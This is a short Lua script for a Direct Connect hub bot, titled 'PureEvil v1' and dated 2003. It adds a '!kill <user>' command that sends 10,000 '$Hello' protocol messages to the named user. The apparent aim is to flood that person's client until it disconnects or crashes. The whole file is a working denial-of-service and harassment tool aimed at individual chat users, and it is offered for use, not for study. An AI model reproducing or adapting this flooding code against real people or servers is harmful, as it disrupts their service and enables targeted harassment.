--PureEvil v1
--!kill <user>
--Written by Phatty 12th December 2k3

Bot = "Wolf" 


function RegEvil(killed)
	if killed == nil then end
		local t = 0
		repeat
			killed:SendData( "$Hello "..Bot..t )
			t = t+1
		until t == 10000
		if t == 10000 then
	end
end


function DataArrival(user, data) 
	if strsub(data, 1, 1) == "<" then
		data=strsub(data,1,strlen(data)-1)
		s,e,cmd,term = strfind(data,"%b<>%s+(%S+)%s+(%S+)")
		
		if cmd == "!kill" then
			killed = GetItemByName(term)
			RegEvil(killed)
		return 1
		end
	end
end